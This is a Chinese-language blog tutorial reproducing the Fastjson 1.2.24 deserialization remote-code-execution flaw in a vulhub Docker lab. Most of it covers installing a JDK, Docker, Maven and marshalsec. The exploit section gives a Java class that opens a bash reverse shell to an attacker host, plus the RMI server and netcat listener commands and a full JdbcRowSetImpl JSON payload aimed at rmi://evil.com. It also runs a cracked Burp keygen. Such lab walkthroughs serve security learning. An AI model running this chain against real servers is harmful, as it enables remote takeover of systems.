Fastjson 1.2.24漏洞搭建及复现

title: Fastjson 1.2.24漏洞搭建及复现
date: 2023-12-21 21:07:01
tags:cloud_hat

Fastjson 1.2.24漏洞搭建及复现

环境准备:(这里用的是centos7)

kali linux:(可以准备一个靶机centos,一个攻击机kali)本文章只基于一个kali-2022.4版本演示

apache-maven

marshalsec-master

jdk1.8

python3(kali自带)

影响版本:

fastjson <= 1.2.24

一、配置kali中java环境

注意:

1.担心配置错误的,可以提前拍摄快照,以便还原!!!

2.网上有删除openjdk再下载oracle jdk的,个人不太建议,会报错,影响后续漏洞复现

1.下载oracle的jdk1.8.0_202版本

☁下载地址:

# 华为云镜像下载

https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz

# 百度网盘链接

链接:百度网盘 请输入提取码 提取码:dmw4

下载完成后,直接将其复制到kali中

2.新建jdk1.8目录存放安装包

☁在kali中 /usr/local 下新建文件夹 java,存放此安装包,将桌面的jdk-8u202-linux-x64.tar.gz安装包移动到该目录下

1)mkdir -p /usr/local/java # 创建目录

2)cd Desktop # 进入桌面

3)mv jdk-8u202-linux-x64.tar.gz /usr/local/java # 移动安装包至目录下

3.配置jdk环境变量

☁进入目录下,解压此安装包,并配置环境变量

1)cd /usr/local/java

2)tar xzvf jdk-8u202-linux-x64.tar.gz

3)vim /etc/profile

# 编辑该文件,将下方四行代码输入,jdk存放路径和我不同的自行更改

JAVA_HOME=/usr/local/java/jdk1.8.0_202

PATH=$PATH:$HOME/bin:$JAVA_HOME/bin

export JAVA_HOME

export PATH

4.替换原open jdk为oracle jdk

更换原有的openjdk为oracle jdk1.8.0_202

1)update-alternatives --install /usr/bin/java java /usr/local/java/jdk1.8.0_202/bin/java 1 2)update-alternatives --install /usr/bin/javac javac /usr/local/java/jdk1.8.0_202/bin/javac 1 3)update-alternatives --set java /usr/local/java/jdk1.8.0_202/bin/java 4)update-alternatives --set javac /usr/local/java/jdk1.8.0_202/bin/javac

# 存放路径不同的,记得更改~

5)java -version # 看是否成功替换为1.8版本

二、安装并使用docker

1.安装docker

此处就不做过多讲解了,直接上大佬的安装步骤:https://www.cnblogs.com/lijingrong/p/13396884.html

☁跟着上方教程安装完成,查看docker版本号

1)docker -v

2)docker-compose -v

2.安装vulhub

从github上克隆:GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

安装完成查看vulhub目录(有大量的环境漏洞环境)

3.拉取环境

☁进入对应的漏洞环境目录

cd Desktop/vulhub/fastjson/1.2.24-rce

☁启动容器,拉取环境

docker-compose up -d # 首次拉取会自动下载对应配置,出现done字样即为完成

3.1相关报错及处理

若此处出现下图类似报错,则执行下方代码块中命令,然后重新拉取环境即可~(没报错的直接跳过)

1)sudo mkdir -p /etc/docker
​
2)sudo tee /etc/docker/daemon.json <<-'EOF'
​
{
​
 "registry-mirrors": ["https://yxzrazem.mirror.aliyuncs.com"]
​
}
​
EOF
​
3)sudo systemctl daemon-reload
​
4)sudo systemctl restart docker
4.验证环境

☁环境运行完成,有两种验证方式

1)http://your-ip:8090 # 出现json格式的输出,即为成功(下图一)

2)docker ps # 下图二

三、安装maven

1.下载安装包

☁下载地址:

Maven – Download Apache Maven

2.新建maven目录存放安装包

☁移动下载的安装包至 /usr/local/maven 目录下, 并解压

3.配置maven环境变量

☁配置maven的环境变量,并更新(我这个版本是3.96)

1)vim /etc/profile # 将下面三行代码复制到文件内

MAVEN_HOME=/usr/local/maven/apache-maven-3.9.6 PATH=$MAVEN_HOME/bin:$PATH export MAVEN_HOME PATH

2)source /etc/profile # 修改后使环境生效

3)update-alternatives --install /usr/bin/mvn mvn /usr/local/maven/apache-maven-3.9.3/bin/mvn 1

# 更新配置(路径和我不同的小伙伴记得更改"/usr.../maven...")

4)mvn -version # 查看mvn版本,是否安装成功

3.1相关报错及处理

此处报错的小伙伴,可以尝试 "rm -rf maven" 删除maven整个目录,然后重新安装(或验证是否执行上方第3步更新命令)

四、安装RMI服务器

1.下载marshalsec并启动RMI器

☁编译marshalsec项目,启动RMI服务器

1)下载marshalsec

# github下载

GitHub - mbechler/marshalsec

# 百度网盘直接下载

链接:百度网盘 请输入提取码 提取码:aydq 2)cd /usr/local/marshalsec/marshalsec-master # 进入目录下

3)unzip marshalsec-master.zip #解压压缩包

4)mvn clean package -DskipTests # 用maven编译marshalsec成jar包

五、漏洞复现

1.编写文件

☁使用kali攻击机,编写touchfile.java文件,将如下代码写入,并编译为class文件

1)touch touchfile.java

2)vim touchfile.java # 不要直接执行第三步,看好代码输入完成再往下走

3)javac touchfile.java

import java.lang.Runtime;
import java.lang.Process;
​
public class touchfile{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/攻击者ip/攻击者nc监听端口 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

2.开启python监听

☁kali攻击机开启python服务,监听端口 # 注意python版本,执行对应命令

python3 -m http.server 8089 # python3使用的命令

python -m SimpleHTTPServer # python2使用的命令

3.加载远程类

☁kali攻击机使用marshalsec项目,启动RMI服务器,监听端口9999,同时指定加载远程类touchfile.class

# 进入marshalsec-master目录下的target目录下执行,marshalsec是安装RMI的那个目录,target是编译后的目录

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-ip:1111/#touchfile" 9999

4.开启反弹shell的监听端口

☁攻击机开启监听6666端口

nc -lvnp 6666

5. bp安装

☁使用kali自带的bp或自己安装想要使用的bp版本

1)将文件夹复制至kali靶机中

2)java -jar burp-loader-keygen.jar # 第一次安装会弹出下图1窗口

3)跟着下方图片步骤一步步操作

6.火狐开启代理抓包

☁进入kali自带的火狐游览器,更改设置,开启代理,端口为bp的8080

记着把bp的拦截开启,此时可以抓到包

POST / HTTP/1.1
Host:your-ip:8090
Accept-Encoding:gzip,deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/touchfile",
        "autoCommit":true
    }
}
7.复现结果验证

使用marshalse工具快捷的开启RMI服务,借助RMI服务将RMI reference result 成功重定向到web服务器

靶机成功访问攻击机开启的web服务,可以下载touchfile.class恶意文件

攻击机监听的6666端口成功收到反弹的shell

至此,复现结束~

总结:复现过程中,会出现各种各样报错,小伙伴多找网上文章解决,本文仅作参考。

PS:文章对小伙伴有帮助的话,点赞支持下吧~欢迎各位师傅批评指正

  • 18
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值